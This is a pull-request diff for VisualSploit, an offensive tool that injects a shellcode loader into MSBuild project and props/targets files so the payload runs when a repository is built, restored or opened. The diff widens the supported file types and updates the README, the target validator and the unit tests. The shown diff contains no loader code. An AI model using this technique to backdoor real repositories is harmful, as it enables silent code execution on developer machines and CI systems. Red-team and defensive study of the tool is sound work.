Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 9 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
[![release](https://img.shields.io/github/v/release/Meltedd/VisualSploit)](https://github.com/Meltedd/VisualSploit/releases)
[![license](https://img.shields.io/github/license/Meltedd/VisualSploit)](LICENSE)

Weaponizes MSBuild project files to run embedded shellcode. Given a `.csproj`, `.vbproj`, or `Directory.Build.props/targets` and a shellcode blob, VisualSploit injects a loader that fires whenever the project is built, restored, or opened in Visual Studio. Cloning a backdoored repo and evaluating it with Visual Studio, `dotnet`, or CI can be enough to run the payload without user interaction.
Weaponizes MSBuild project files to run embedded shellcode. Given a supported MSBuild XML file (`.csproj`, `.vbproj`, `.proj`, imported `.props`/`.targets`, or `Directory.Build.props/targets`) and a shellcode blob, VisualSploit injects a loader that fires whenever MSBuild evaluates that file. Cloning a backdoored repo and evaluating it with Visual Studio, `dotnet`, or CI can be enough to run the payload without user interaction.

![demo](demo.gif)

Expand Down Expand Up @@ -38,13 +38,16 @@ Cloned files carry no [MOTW](https://learn.microsoft.com/en-us/windows/win32/sec

## Targets

| Target file | Fires when |
|-----------------------------|-----------------------------------------------|
| `*.csproj` / `*.vbproj` | The project is opened, restored, or built |
| `Directory.Build.props` | Any project in or below its directory is opened, restored, or built |
| `Directory.Build.targets` | Any project in or below its directory is built |
| Target file | Fires when |
|-----------------------------------|-----------------------------------------------|
| `*.csproj` / `*.vbproj` | The project is opened, restored, or built |
| `*.proj` | The build file is run by MSBuild |
| `Directory.Build.props` | Any project in or below its directory is opened, restored, or built |
| `Directory.Build.targets` | Any project in or below its directory is built |
| Existing `*.props` / `*.targets` | A project or build imports the file |

`Directory.Build.props` and `.targets` are imported implicitly for every project beneath them, so a single injected file at a repo root compromises the whole subtree across developer machines, CI runners, and devcontainers that evaluate MSBuild.
Other `.props` and `.targets` files must already be imported by a project or build.

## Usage

Expand Down
35 changes: 35 additions & 0 deletions VisualSploit.Tests/MSBuildTests.cs
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,31 @@ public void Merges_into_existing_csproj_preserving_property_and_item_groups()
Assert.Contains(root.Elements(), e => e.Name.LocalName == "Target");
}

[Theory]
[InlineData(".proj")]
[InlineData(".props")]
[InlineData(".targets")]
public void Merges_into_existing_msbuild_file_preserving_project_contents(string extension)
{
var target = Path.Combine(_dir, $"Existing{extension}");
File.WriteAllText(target, """
<Project>
<PropertyGroup>
<Keep>Value</Keep>
</PropertyGroup>
</Project>
""");

Inject(Cfg(target));

var doc = XDocument.Load(target);
var root = doc.Root!;

Assert.Equal("Value", root.Descendants().First(e => e.Name.LocalName == "Keep").Value);
Assert.Contains(root.Elements(), e => e.Name.LocalName == "UsingTask");
Assert.Contains(root.Elements(), e => e.Name.LocalName == "Target");
}

[Fact]
public void Appends_generated_target_after_existing_InitialTargets()
{
Expand Down Expand Up @@ -145,6 +170,16 @@ public void Throws_when_csproj_target_does_not_exist()
Assert.Throws<FileNotFoundException>(() => Inject(Cfg(target)));
}

[Theory]
[InlineData("missing.proj")]
[InlineData("missing.props")]
[InlineData("missing.targets")]
public void Throws_when_missing_non_Directory_Build_msbuild_file_does_not_exist(string filename)
{
var target = Path.Combine(_dir, filename);
Assert.Throws<FileNotFoundException>(() => Inject(Cfg(target)));
}

[Fact]
public void Throws_when_existing_target_root_is_not_Project()
{
Expand Down
39 changes: 35 additions & 4 deletions VisualSploit.Tests/ProgramTests.cs
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,31 @@ public void Output_includes_condition_when_configured()
Assert.Contains("Condition=\"'$(Configuration)' == 'Release'\"", output);
}

[Theory]
[InlineData(".proj")]
[InlineData(".props")]
[InlineData(".targets")]
public void Accepts_existing_msbuild_target_extension(string extension)
{
var output = RunWithOutputFileForTarget(extension);

Assert.Contains("<UsingTask", output);
}

[Theory]
[InlineData(".fsproj")]
[InlineData(".vcxproj")]
[InlineData(".sln")]
[InlineData(".slnx")]
public void Rejects_unsupported_target_extension(string extension)
{
var (target, shellcodePath) = WriteInputs([0xC3], extension);

var exitCode = Program.Main([target, shellcodePath]);

Assert.NotEqual(0, exitCode);
}

[Fact]
public void Rejects_empty_condition()
{
Expand All @@ -74,9 +99,15 @@ public void Rejects_empty_condition()
string RunWithOutputFile(params string[] extraArgs) =>
RunWithOutputFile(shellcode: [0xC3], extraArgs);

string RunWithOutputFile(byte[] shellcode, params string[] extraArgs)
string RunWithOutputFile(byte[] shellcode, params string[] extraArgs) =>
RunWithOutputFileForTarget(shellcode, ".csproj", extraArgs);

string RunWithOutputFileForTarget(string targetExtension, params string[] extraArgs) =>
RunWithOutputFileForTarget([0xC3], targetExtension, extraArgs);

string RunWithOutputFileForTarget(byte[] shellcode, string targetExtension, params string[] extraArgs)
{
var (target, shellcodePath) = WriteInputs(shellcode);
var (target, shellcodePath) = WriteInputs(shellcode, targetExtension);
var output = Path.Combine(_dir, $"{Guid.NewGuid():N}.csproj");

var args = new List<string> { target, shellcodePath, "--output", output, "-s", "42" };
Expand All @@ -89,9 +120,9 @@ string RunWithOutputFile(byte[] shellcode, params string[] extraArgs)
return File.ReadAllText(output);
}

(string target, string shellcodePath) WriteInputs(byte[] shellcode)
(string target, string shellcodePath) WriteInputs(byte[] shellcode, string targetExtension = ".csproj")
{
var target = Path.Combine(_dir, $"{Guid.NewGuid():N}.csproj");
var target = Path.Combine(_dir, $"{Guid.NewGuid():N}{targetExtension}");
var shellcodePath = Path.Combine(_dir, $"{Guid.NewGuid():N}.bin");

File.WriteAllText(target, """
Expand Down
13 changes: 6 additions & 7 deletions VisualSploit/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ internal static int Main(string[] args)
{
var targetArg = new Argument<FileInfo>("target")
{
Description = "Target .csproj, .vbproj, Directory.Build.props, or Directory.Build.targets"
Description = "Target .csproj, .vbproj, .proj, .props, .targets, or Directory.Build.props/targets"
};
targetArg.Validators.Add(r =>
{
Expand Down Expand Up @@ -156,13 +156,12 @@ Config BuildConfig(ParseResult ctx)
{
var ext = Path.GetExtension(filename);
if (ext.Equals(".csproj", StringComparison.OrdinalIgnoreCase) ||
ext.Equals(".vbproj", StringComparison.OrdinalIgnoreCase))
ext.Equals(".vbproj", StringComparison.OrdinalIgnoreCase) ||
ext.Equals(".proj", StringComparison.OrdinalIgnoreCase) ||
ext.Equals(".props", StringComparison.OrdinalIgnoreCase) ||
ext.Equals(".targets", StringComparison.OrdinalIgnoreCase))
return null;

if (filename.Equals("Directory.Build.props", StringComparison.OrdinalIgnoreCase) ||
filename.Equals("Directory.Build.targets", StringComparison.OrdinalIgnoreCase))
return null;

return "Target must be one of: *.csproj, *.vbproj, Directory.Build.props, Directory.Build.targets";
return "Target must be one of: *.csproj, *.vbproj, *.proj, *.props, *.targets, Directory.Build.props, Directory.Build.targets";
}
}